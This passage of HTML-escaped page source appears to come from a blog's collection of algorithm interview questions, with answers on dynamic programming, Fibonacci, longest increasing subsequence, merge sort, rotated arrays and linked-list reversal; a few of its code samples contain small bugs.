            &lt;b&gt;char&lt;/b&gt;[] leftRow = &lt;b&gt;null&lt;/b&gt;;
            &lt;b&gt;if&lt;/b&gt; (leftTreePrint != &lt;b&gt;null&lt;/b&gt; &amp;&amp; i &amp;lt; leftTreePrint.length) {
                leftRow = leftTreePrint[i];
            }
            &lt;b&gt;char&lt;/b&gt;[] rightRow = &lt;b&gt;null&lt;/b&gt;;
            &lt;b&gt;if&lt;/b&gt; (rightTreePrint != &lt;b&gt;null&lt;/b&gt; &amp;&amp; i &amp;lt; rightTreePrint.length) {
                rightRow = rightTreePrint[i];
            }
            result[i] = appendRow (leftRow, rightRow, lengthLeft, lengthRight);
        }
        
        &lt;b&gt;return&lt;/b&gt; result;
    }

    &lt;b&gt;private static char&lt;/b&gt;[] appendRow(&lt;b&gt;char&lt;/b&gt;[] leftRow, &lt;b&gt;char&lt;/b&gt;[] rightRow, &lt;b&gt;int&lt;/b&gt; maxWidthLeft, &lt;b&gt;int&lt;/b&gt; maxWidthRight) {
        &lt;b&gt;char&lt;/b&gt;[] result = &lt;b&gt;new char&lt;/b&gt;[maxWidthLeft + maxWidthRight];
        &lt;b&gt;if&lt;/b&gt; (leftRow != &lt;b&gt;null&lt;/b&gt;) {
            System.arraycopy(leftRow, 0, result, 0, leftRow.length);
        } &lt;b&gt;else&lt;/b&gt; {
            Arrays.fill(result, 0, maxWidthLeft, &apos; &apos;);
        }

        &lt;b&gt;if&lt;/b&gt; (rightRow != &lt;b&gt;null&lt;/b&gt;) {
            System.arraycopy(rightRow, 0, result, maxWidthLeft, rightRow.length);
        } &lt;b&gt;else&lt;/b&gt; {
            Arrays.fill(result, maxWidthLeft, maxWidthLeft + maxWidthRight, &apos; &apos;);
        }
        
        &lt;b&gt;return&lt;/b&gt; result;
    }

    &lt;b&gt;private static int&lt;/b&gt; printLength(&lt;b&gt;char&lt;/b&gt;[][] under) {
        &lt;b&gt;if&lt;/b&gt; (under != &lt;b&gt;null&lt;/b&gt; &amp;&amp; under.length &gt; 0) {
            &lt;b&gt;return&lt;/b&gt; under[0].length;
        }
        &lt;b&gt;return&lt;/b&gt; 0;
    }  
}
&lt;/pre&gt;
&lt;/div&gt;


&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt25a&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;25.a.&lt;/b&gt; What is dynamic programming ?&lt;br&gt;
&lt;span style=&quot;color: green&quot;&gt;[Dynamic Programming]&lt;/span&gt;
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt25a&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
In mathematics, computer science, and economics, dynamic programming is a method for solving complex problems by breaking them down into simpler subproblems. It is applicable to problems exhibiting the properties of overlapping subproblems and optimal substructure (described below). When applicable, the method takes far less time than naive methods.
&lt;/p&gt;
&lt;p&gt;
The key idea behind dynamic programming is quite simple. In general, to solve a given problem, we need to solve different parts of the problem (subproblems), then combine the solutions of the subproblems to reach an overall solution. Often, many of these subproblems are really the same. The dynamic programming approach seeks to solve each subproblem only once, thus reducing the number of computations: once the solution to a given subproblem has been computed, it is stored or &quot;memo-ized&quot;: the next time the same solution is needed, it is simply looked up. This approach is especially useful when the number of repeating subproblems grows exponentially as a function of the size of the input.
&lt;/p&gt;
&lt;p&gt;
There are two key attributes that a problem must have in order for dynamic programming to be applicable: optimal substructure and overlapping subproblems. If a problem can be solved by combining optimal solutions to non-overlapping subproblems, the strategy is called &quot;divide and conquer&quot;. This is why mergesort and quicksort are not classified as dynamic programming problems.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Optimal substructure&lt;/b&gt; means that the solution to a given optimization problem can be obtained by the combination of optimal solutions to its subproblems. Consequently, 
the first step towards devising a dynamic programming solution is to check whether the problem exhibits such optimal substructure. Such optimal substructures are usually 
described by means of recursion. For example, given a graph G=(V,E), the shortest path p from a vertex u to a vertex v exhibits optimal substructure: take any intermediate 
vertex w on this shortest path p. If p is truly the shortest path, then the path p1 from u to w and p2 from w to v are indeed the shortest paths between the corresponding 
vertices (by the simple cut-and-paste argument described in Introduction to Algorithms). Hence, one can easily formulate the solution for finding shortest paths in a recursive 
manner, which is what the Bellman-Ford algorithm or the Floyd-Warshall algorithm does.&lt;br&gt;
KEJ: I.e. &lt;code&gt;shorted_path (v, w = min (for each u &quot;neighbours of v&quot; do shorted_path(u, w))&lt;/code&gt; where memoization consists of the &lt;code&gt;shortest_path (x, y)&lt;/code&gt;already computed.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Overlapping subproblems&lt;/b&gt; means that the space of subproblems must be small, that is, any recursive algorithm solving the problem should solve the same subproblems over and over, 
rather than generating new subproblems. For example, consider the recursive formulation for generating the Fibonacci series: Fi = Fi-1 + Fi-2, with base case F1 = F2 = 1. Then F43 = 
F42 + F41, and F42 = F41 + F40. Now F41 is being solved in the recursive subtrees of both F43 as well as F42. Even though the total number of subproblems is actually small (only 43 
of them), we end up solving the same problems over and over if we adopt a naive recursive solution such as this. Dynamic programming takes account of this fact and solves each 
subproblem only once.
&lt;/p&gt;
&lt;p&gt;
The pattern for dynamic programming:
&lt;/p&gt;
&lt;p&gt;
In a nutshell, dynamic programming is recursion without repetition. Developing a dynamic programming
algorithm almost always requires two distinct stages.
&lt;/p&gt;
&lt;ol&gt;
    &lt;li&gt;&lt;b&gt;Formulate the problem recursively.&lt;/b&gt; Write down a recursive formula or algorithm for the whole problem in terms of the answers to smaller subproblems. This is the hard part.&lt;/li&gt;
    &lt;li&gt;&lt;b&gt;Build solutions to your recurrence&lt;/b&gt; from the bottom up. Write an algorithm that starts with
the base cases of your recurrence and works its way up to the final solution, by considering
intermediate subproblems in the correct order. This stage can be broken down into several smaller,
relatively mechanical steps:
        &lt;ol&gt;
            &lt;li&gt;&lt;b&gt;Identify the subproblems.&lt;/b&gt; What are all the different ways can your recursive algorithm call
itself, starting with some initial input? For example, the argument to recursiveFibo (see below) is always an
integer between 0 and n.&lt;/li&gt;
            &lt;li&gt;&lt;b&gt;Choose a data structure to memoize intermediate results&lt;/b&gt;. For most problems, each
recursive subproblem can be identified by a few integers, so you can use a multidimensional
array. For some problems, however, a more complicated data structure is required.&lt;/li&gt;
            &lt;li&gt;&lt;b&gt;Analyze running time and space&lt;/b&gt;. The number of possible distinct subproblems determines
the space complexity of your memoized algorithm. To compute the time complexity, add up
the running times of all possible subproblems, ignoring the recursive calls. For example, if
we already know F_(i-1) and F_(i-2), we can compute Fi in O(1) time, so computing the first n
Fibonacci numbers takes O(n) time.&lt;/li&gt;
            &lt;li&gt;&lt;b&gt;Identify dependencies between subproblems.&lt;/b&gt; Except for the base cases, every recursive
subproblem depends on other subproblems-which ones? Draw a picture of your data
structure, pick a generic element, and draw arrows from each of the other elements it
depends on. Then formalize your picture.&lt;/li&gt;
            &lt;li&gt;&lt;b&gt;Find a good evaluation order.&lt;/b&gt; Order the subproblems so that each subproblem comes after
the subproblems it depends on. Typically, this means you should consider the base cases
first, then the subproblems that depends only on base cases, and so on. More formally, the
dependencies you identified in the previous step define a partial order over the subproblems;
in this step, you need to find a linear extension of that partial order. Be careful!&lt;/li&gt;
            &lt;li&gt;&lt;b&gt;Write down the algorithm.&lt;/b&gt; You know what order to consider the subproblems, and you
know how to solve each subproblem. So do that! If your data structure is an array, this
usually means writing a few nested for-loops around your original recurrence.&lt;/li&gt;
        &lt;/ol&gt;
    &lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
Dynamic programming algorithms store the solutions of intermediate subproblems, often but not
always in some kind of array or table. Many algorithms students make the mistake of focusing on the
table (because tables are easy and familiar) instead of the much more important (and difficult) task of
finding a correct recurrence.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Dynamic programming is not about filling in tables; it&apos;s about smart recursion.&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Sources : Wikipedia on &lt;a href=&quot;http://en.wikipedia.org/wiki/Dynamic_programming&quot;&gt;http://en.wikipedia.org/wiki/Dynamic_programming&lt;/a&gt; and others ...
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a id=&quot;25Link&quot; href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt25b&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;25.b.&lt;/b&gt; Write an algorithm to generate a fibonacci number sequence and discuss its time and space complexity.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt25b&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
In a Fibonacci series each number is the sum of the two previous numbers starting with 1,1. &lt;br&gt;
The rule is Xn = Xn-1 + Xn-2 
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;1. Naive Algorithm&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
A naive version of the Fibonacci sequence algorithm, which generates the n&apos;th number of the Fibonacci sequence is as follows:&lt;br&gt;
(for instance in Java)
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;int&lt;/b&gt; recursiveFib(&lt;b&gt;int&lt;/b&gt; n) {
     &lt;b&gt;if&lt;/b&gt; (n &amp;lt;= 1)
          &lt;b&gt;return&lt;/b&gt; 1;
     &lt;b&gt;else&lt;/b&gt;
          &lt;b&gt;return&lt;/b&gt; recursiveFib(n - 1) + recursiveFib(n - 2);
}
&lt;/pre&gt;
&lt;p&gt;
&lt;b&gt;&lt;i&gt;Complexity&lt;/i&gt;&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
the complexity of a naive recursive fibonacci is indeed 2^n.
&lt;/p&gt;
&lt;p&gt;
T(n) = T(n-1) + T(n-2) = T(n-2) + T(n-3) + T(n-3) + T(n-4) = &lt;br&gt;
= T(n-3) + T(n-4) + T(n-4) + T(n-5) + T(n-4) + T(n-5) + T(n-5) + T(n-6) = ...
&lt;/p&gt;
&lt;p&gt;
in each step you call T twice, thus will provide eventual asymptotic barrier of: T(n) = 2 * 2 * ... * 2 = 2^n
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Space Complexity&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
Here we are not using any memory except the stack. Only one resursive function call occurs at a time, hence the space complexity is O(n)
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;2. A first better approach : use a memory&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
The obvious reason for the recursive algorithm&apos;s lack of speed is that it computes the same Fibonacci
numbers over and over and over. A single call to recursiveFib(n) results in one recursive call to recursiveFib(n - 1), two recursive calls to recursiveFib(n - 2), three recursive calls to
recursiveFib(n - 3), five recursive calls to recursiveFib(n - 4), and in general, F_(k-1) recursive calls to recursiveFib(n - k), for any 0 &amp;lt;= k &amp;lt; n. &lt;br&gt;
For each call, we&apos;re recomputing some Fibonacci number from scratch.
&lt;/p&gt;
&lt;p&gt;
We can speed up the algorithm considerably just by writing down the results of our recursive calls and looking them up again if we need them later. &lt;br&gt;
This process is called memoization.&lt;br&gt;
For instancre in Java:
&lt;/p&gt;
&lt;pre&gt;
// initialization
&lt;b&gt;int&lt;/b&gt; F = &lt;b&gt;new int&lt;/b&gt;[n]
&lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 0; i &amp;lt; n; i++) F[i] = -1;

&lt;b&gt;int&lt;/b&gt; memoryFib (&lt;b&gt;int&lt;/b&gt; n) {
    &lt;b&gt;if&lt;/b&gt; (n &amp;lt; 2)
        &lt;b&gt;return&lt;/b&gt; n;
    &lt;b&gt;else&lt;/b&gt; {
        &lt;b&gt;if&lt;/b&gt; (F[n] == -1)
            F[n] = memoryFib(n - 1) + memoryFib(n - 2)
        &lt;b&gt;return&lt;/b&gt; F[n];
    }
}
&lt;/pre&gt;
&lt;p&gt;
We end up here with an algorithm of time complexity O(n) and space complexity O(n), hence an exponential speedup over the previous algorithm.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;3. Even better: use dynamic programming&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
In the example above, if we actually trace through the recursive calls made by memoryFib, we find that the memory F[] is filled from the bottom up: 
first F[2], then F[3], and so on, up to F[n].
&lt;/p&gt;
&lt;p&gt;
Once we see this pattern, we
can replace the recursion with a simple for-loop that fills the array in order, instead of relying on the
complicated recursion to do it for us. This gives us our first explicit dynamic programming algorithm.&lt;br&gt;
For instance in Java:
&lt;/p&gt;
&lt;pre&gt;
// initialization
&lt;b&gt;int&lt;/b&gt; F = &lt;b&gt;new int&lt;/b&gt;[n]

&lt;b&gt;int&lt;/b&gt; iterativeFib (&lt;b&gt;int&lt;/b&gt; n) {
    F[0] = 0;
    F[1] = 1;
    &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 2; i &amp;lt;= n; i++)
        F[i] = F[i - 1]+ F[i -2];
    &lt;b&gt;return&lt;/b&gt; F[n];
}
&lt;/pre&gt;
&lt;p&gt;
This is still of time complexity O(n) and space complexity O(n) but removes the overhead of all the recursive method calls.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;4. Best approach&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
We can reduce the space to O(1) by noticing that we never need more than the last two elements of the array:
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;int&lt;/b&gt; iterativeFib2 (&lt;b&gt;int&lt;/b&gt; n) {
    prev = 1;
    cur = 0;
    &lt;b&gt;for&lt;/b&gt; (&lt;b&gt;int&lt;/b&gt; i = 1 ; i &amp;lt;= n; i++) {
        next = cur + prev;
        prev = cur;
        cur = next;
    }
    &lt;b&gt;return&lt;/b&gt; cur;
}
&lt;/pre&gt;
&lt;p&gt;
This algorithm uses the non-standard but perfectly consistent base case F_1 = 1 so that iterativeFib2(0) returns the correct value 0.
&lt;/p&gt;
&lt;/div&gt;


&lt;p&gt;
&lt;a id=&quot;link25c&quot; href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt25c&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;25.c.&lt;/b&gt; Given an array, find the longest (non necessarily continuous) increasing subsequence.
&lt;/a&gt;&lt;br&gt;
Not to be confused with problem &lt;a href=&quot;#link66b&quot;&gt;66.c&lt;/a&gt; which adds a &quot;continuous&quot; constraint.
&lt;/p&gt;

&lt;div id=&apos;bt25c&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;

&lt;ul&gt;
    &lt;li&gt;Let A be our sequence [a_1, a_2, a_3, ..., a_n]&lt;/li&gt;
    &lt;li&gt;Define q_k as the length of the longest increasing subsequence of A that ends on element a_k.
        &lt;ul&gt; 
            &lt;li&gt;For instance q_4 is 2 if there are two elements before &quot;position 4&quot; in the array that are increasing towards the value a_4&lt;/li&gt;
            &lt;li&gt;q_1 is alway 1&lt;/li&gt;
        &lt;/ul&gt;
    &lt;/li&gt;
    &lt;li&gt;The longest increasing subsequence of A must end on some element of A, so that we can find its length by searching the q_k that has the maximum value&lt;/li&gt;
    &lt;li&gt;All that remains is to find out the values q_k&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
q_k can be found recursively, as follows:
&lt;/p&gt;
&lt;ul&gt;
    &lt;li&gt;Consider the set S_k of all i &amp;lt; k such that a_i &amp;lt; a_k. Those are all the elements of S before &quot;positon k&quot; that are below a_k.&lt;/li&gt;
    &lt;li&gt;If this set is null, then all of the elements that come before a_k are greater than it, which forces q_k = 1&lt;/li&gt;
    &lt;li&gt;&lt;i&gt;Otherwise, if S_k is not null, then q has some distribution over S_k (which is discussed below)&lt;/i&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
By the general contract of q, if we maximize q over S_k, we get the length of the longest increasing subsequence in S_k. &lt;br&gt;
We can append a_k to this sequence to get &lt;b&gt;q_k = max (q_j | j in S_k) + 1&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;This means&lt;/b&gt; : For each q_k, look in every position j in S before q searching for the values a_j that are below a_k. These values form the set S_k. In this set, 
search for the maximum q_i. Add 1 to this value to obtain q_k.
&lt;/p&gt;
&lt;p&gt;
If the actual subsequence is desired, it can be found in O(n) further steps by moving backward through the q-array, or else by implementing the q-array as a set of stacks, 
so that the above &quot;+ 1&quot; is accomplished by &quot;pushing&quot; ak into a copy of the maximum-length stack seen so far.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Naive approach&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
One can design the recursive aklgorithm posed above:
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;procedure&lt;/b&gt; lis_length(a, 0, end)
    max = 0
    &lt;b&gt;for&lt;/b&gt; j &lt;b&gt;from&lt;/b&gt; 0 &lt;b&gt;to&lt;/b&gt; end &lt;b&gt;do&lt;/b&gt;
        &lt;b&gt;if&lt;/b&gt; a[end] &gt; a[j] &lt;b&gt;then&lt;/b&gt;
            ln = lis_length (a, j)
            &lt;b&gt;if&lt;/b&gt; ln &gt; max &lt;b&gt;then&lt;/b&gt;
                max = ln
        max = max + 1    
    &lt;b&gt;return&lt;/b&gt; max                
    
// call lis_length (a, 0, length(a) - 1) // the first time    
&lt;/pre&gt;
&lt;p&gt;
This works, for instance on [1, 2, 1, 5, 2, 3, 4, 7, 5, 4] with longest subsequence [1, 2, 3, 4, 7]:
&lt;/p&gt;
&lt;pre&gt;
      [1, 2, 1, 5, 2, 3, 4, 7, 5, 4]
       |                          |
       ||
       1
       |  |
          2
       |     |
	         1
	   ...
	   |        |
	            3
	   ...
	   |              |
	                  3
	   ...
	   |                 |
	                     4
	   ...
	   |                    |
	                        5
	   ...          
&lt;/pre&gt;
&lt;p&gt;
This is a typical problem where dynamic programming comes in help since we end up solving the same sub-problems over and over again.
&lt;/p&gt;
&lt;p&gt;
&lt;b&gt;Using dynamic programming&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
There is a straight-forward Dynamic Programming solution &lt;b&gt;if and only if&lt;/b&gt; only the length is required not the soluton itself (which can later be retrieved though).
&lt;/p&gt;
&lt;p&gt;
Some pseudo-code for finding the length of the longest increasing subsequence:
&lt;/p&gt;

&lt;pre&gt;
&lt;b&gt;procedure&lt;/b&gt; lis_length( a )
    n = a.length
    q = &lt;b&gt;new&lt;/b&gt; Array(n)
    &lt;b&gt;for&lt;/b&gt; k &lt;b&gt;from&lt;/b&gt; 0 &lt;b&gt;to&lt;/b&gt; n &lt;b&gt;do&lt;/b&gt;
        max = 0
        &lt;b&gt;for&lt;/b&gt; j &lt;b&gt;from&lt;/b&gt; 0 &lt;b&gt;to&lt;/b&gt; k &lt;b&gt;do&lt;/b&gt; 
            &lt;b&gt;if&lt;/b&gt; a[k] &gt; a[j] &lt;b&gt;then&lt;/b&gt; // Set S_k
                &lt;b&gt;if&lt;/b&gt; q[j] &gt; max &lt;b&gt;then &lt;/b&gt;
                    max = q[j]
        q[k] = max + 1;
    max = 0
    &lt;b&gt;for&lt;/b&gt; i &lt;b&gt;from&lt;/b&gt; 0 &lt;b&gt;to&lt;/b&gt; n &lt;b&gt;do&lt;/b&gt;
        &lt;b&gt;if&lt;/b&gt; q[i] &gt; max &lt;b&gt;then&lt;/b&gt; 
            max = q[i]
    &lt;b&gt;return&lt;/b&gt; max;
&lt;/pre&gt;
&lt;p&gt;
Source on wikipedia &lt;a href=&quot;http://www.algorithmist.com/index.php/Longest_Increasing_Subsequence&quot;&gt;http://www.algorithmist.com/index.php/Longest_Increasing_Subsequence&lt;/a&gt;.
&lt;/p&gt;
&lt;/div&gt;




&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt26&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;26.&lt;/b&gt; Describe and discuss the MergeSort algorithm&lt;br&gt;
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt26&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Merge sort (also commonly spelled mergesort) is an O(n log n) comparison-based sorting algorithm. Most implementations produce a stable sort, which means that the implementation preserves the input order of equal elements in the sorted output. Merge sort is a divide and conquer algorithm
&lt;/p&gt;
&lt;p&gt;
Conceptually, a merge sort works as follows
&lt;/p&gt;
&lt;ul&gt;
     &lt;li&gt;Divide the unsorted list into n sublists, each containing 1 element (a list of 1 element is considered sorted).&lt;/li&gt;
     &lt;li&gt;Repeatedly merge sublists to produce new sublists until there is only 1 sublist remaining. This will be the sorted list.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
Example pseudocode for top down merge sort algorithm which uses recursion to divide the list into sub-lists, then merges sublists during returns back up the call chain.
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;function&lt;/b&gt; merge_sort(list m)
     // if list size is 0 (empty) or 1, consider it sorted and return it
     // (using less than or equal prevents infinite recursion for a zero length m)
     &lt;b&gt;if&lt;/b&gt; length(m) &amp;lt;= 1
          &lt;b&gt;return&lt;/b&gt; m
     // else list size is &gt; 1, so split the list into two sublists
     &lt;b&gt;var&lt;/b&gt; list left, right
     &lt;b&gt;var&lt;/b&gt; integer middle = length(m) / 2
     &lt;b&gt;for each&lt;/b&gt; x &lt;b&gt;in&lt;/b&gt; m &lt;b&gt;before&lt;/b&gt; middle
            add x to left
     &lt;b&gt;for each&lt;/b&gt; x &lt;b&gt;in&lt;/b&gt; m &lt;b&gt;after or equal&lt;/b&gt; middle
            add x to right
     // recursively call merge_sort() to further split each sublist
     // until sublist size is 1
     left = merge_sort(left)
     right = merge_sort(right)
     // merge the sublists returned from prior calls to merge_sort()
     // and return the resulting merged sublist
     &lt;b&gt;return&lt;/b&gt; merge(left, right)
&lt;/pre&gt;
&lt;p&gt;
In this example, the merge function merges the left and right sublists.
&lt;/p&gt;
&lt;pre&gt;
&lt;b&gt;function&lt;/b&gt; merge(left, right)
     &lt;b&gt;var&lt;/b&gt; list result
     &lt;b&gt;while&lt;/b&gt; length(left) &gt; 0 &lt;b&gt;or&lt;/b&gt; length(right) &gt; 0
          &lt;b&gt;if&lt;/b&gt; length(left) &gt; 0 &lt;b&gt;and&lt;/b&gt; length(right) &gt; 0
                &lt;b&gt;if&lt;/b&gt; first(left) &amp;lt;= first(right)
                     append first(left) to result
                     left = rest(left)
                &lt;b&gt;else&lt;/b&gt;
                     append first(right) to result
                     right = rest(right)
          &lt;b&gt;else if&lt;/b&gt; length(left) &gt; 0
                append first(left) to result
                left = rest(left)
          &lt;b&gt;else if&lt;/b&gt; length(right) &gt; 0
                append first(right) to result
                right = rest(right)
     &lt;b&gt;end while&lt;/b&gt;
     &lt;b&gt;return&lt;/b&gt; result
&lt;/pre&gt;
&lt;p&gt;
In sorting n objects, merge sort has an average and worst-case performance of O(n log n)
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt27&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;27.&lt;/b&gt; Given a circularly sorted array, describe the fastest way to locate the largest element.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt27&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;Rotated circular array&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
We assume here the cicular array takes the form of a usual sorted array that has been rotated at some random point.
&lt;/p&gt;
&lt;p&gt;
One can use the following algorithm:
&lt;/p&gt;
&lt;pre&gt;
T findLargestElement(T[] data, &lt;b&gt;int&lt;/b&gt; start, &lt;b&gt;int&lt;/b&gt; end) {
    &lt;b&gt;int&lt;/b&gt; mid = start + (end - start) / 2
    &lt;b&gt;if&lt;/b&gt; (start == mid]) {
        &lt;b&gt;return&lt;/b&gt; data[start];
    }
    // we search for the place the rotation took place
    &lt;b&gt;if&lt;/b&gt; (data[start] &gt; data[mid]) { 
        &lt;b&gt;return&lt;/b&gt; findLargestElement (data, start, mid);
    } &lt;b&gt;else&lt;/b&gt; {
        &lt;b&gt;return&lt;/b&gt; findLargestElement (data, mid + 1, end);
    }
}
&lt;/pre&gt;
&lt;p&gt;
Using it for instance on [3 4 6 7 8 11 0 1 2] -&gt; 11, we get following recusrions
&lt;/p&gt;
&lt;pre&gt;
          [3  4  6  7  8 11  0  1  2]
indices :  0  1  2  3  4  5  6  7  8

[3 4 6 7 8 11 0 1 2]
start = 0
end   = 8
mid   = 0 + (8 - 0) / 2 = 4

[11 0 1 2]
start = 5
end   = 8
mid   = 5 + (8 - 5) / 2 = 6

[11 0]
start = 5
end   = 6
mid   = 5 + (6 - 5) / 2 = 5

return 11
&lt;/pre&gt;
&lt;p&gt;
&lt;b&gt;A pointer on a circular array, unknown size, unknown start&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
If we face a simple pointer as input on some position on the circular array of which we know neither the start nor the length, we have no choice but a O(n) solution to browse the pointers from an element to another until we spot the place where the next element is less than the current element.
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt28a&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;28.a&lt;/b&gt; Reverse a linked list. Write code in C
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt28a&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Both approaches (iterative and recusrive) here are &lt;b&gt;destructive&lt;/b&gt; algorithms.&lt;br&gt;
The advantage is that they don&apos;t require an additional O(n) storage.
&lt;/p&gt;
&lt;table style=&quot;border: 0px none; margin-left: 10px; margin-right: 10px; vertical-align: top;&quot;&gt;&lt;tr&gt;
&lt;td style=&quot;vertical-align: top; padding-left: 20px; &quot;&gt;
Recursive solution&lt;br&gt;
&lt;pre&gt;
Node * reverse( Node * ptr , Node * previous) {
     Node * temp;
     &lt;b&gt;if&lt;/b&gt;(ptr-&gt;next == NULL) {
          ptr-&gt;next = previous;
          &lt;b&gt;return&lt;/b&gt; ptr;
     } &lt;b&gt;else&lt;/b&gt; {
          temp = reverse(ptr-&gt;next, ptr);
          ptr-&gt;next = previous;
          &lt;b&gt;return&lt;/b&gt; temp;
     }
}
reversedHead = reverse(head, NULL);
&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&quot;vertical-align: top; padding-left: 20px; &quot;&gt;
Iterative solution&lt;br&gt;
&lt;pre&gt;
Node * reverse( Node * ptr ) {
     Node * temp;
     Node * previous = NULL;
     &lt;b&gt;while&lt;/b&gt;(ptr != NULL) {
          temp = ptr-&gt;next;
          ptr-&gt;next = previous;
          previous = ptr;
          ptr = temp;
     }
     &lt;b&gt;return&lt;/b&gt; previous;
}
reversedHead = reverse(head);
&lt;/pre&gt;&lt;/td&gt;
&lt;/tr&gt;&lt;/table&gt;
&lt;p&gt;
Time Complexity : O(n)
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt28b&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;28.b.&lt;/b&gt; How can you print singly linked list in reverse order? (it&apos;s a huge list and you cant use recursion)
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt28b&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
If I cannot use recursion (which would allow easier approaches), I would use the &lt;i&gt;destructive iterative&lt;/i&gt; reverse function above:
&lt;/p&gt;
&lt;pre&gt;
reversedList = reverse(list);
ptr = reversedList
&lt;b&gt;while&lt;/b&gt; (ptr != null) {
    printf (&quot;%s,&quot;, ptr-&gt;value);
}
&lt;/pre&gt;
&lt;/div&gt;




&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt28c&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;28.c&lt;/b&gt; Write a function to reverse a singly linked list, given number of links to reverse.    
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt28c&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
Use any of the funcitons abovem adding a argument l for the number of links to be reversed. &lt;br&gt;
Decrease k by 1 at each iteration / recursion.&lt;br&gt;
Stop when k is equals to 0.
&lt;/p&gt;
&lt;/div&gt;



&lt;p&gt;
&lt;a href=&quot;javascript:;&quot; onclick=&quot;javascript:showHideDivBT(&apos;bt29&apos;);&quot; style=&quot;text-decoration: none; outline: none;&quot;&gt; 
&lt;b&gt;29.&lt;/b&gt; Write a method to generate a random number between 1 and 7, given a method that generates a random number between 1 and 5. The distribution between each of the numbers must be uniform.
&lt;/a&gt;
&lt;/p&gt;

&lt;div id=&apos;bt29&apos; style=&quot;border: solid 1px #666666; visibility: hidden; display: none; outline: none; padding: 4px;&quot;&gt;
&lt;p&gt;
&lt;b&gt;1. Wrong solution, doesn&apos;t work&lt;/b&gt;
&lt;/p&gt;
&lt;p&gt;
With the usual methods found on internet, the solution gets largely biased.
&lt;/p&gt;
&lt;p&gt;
First let&apos;s look at these methods:
&lt;/p&gt;
&lt;p&gt;
Implementation in C:
&lt;/p&gt;
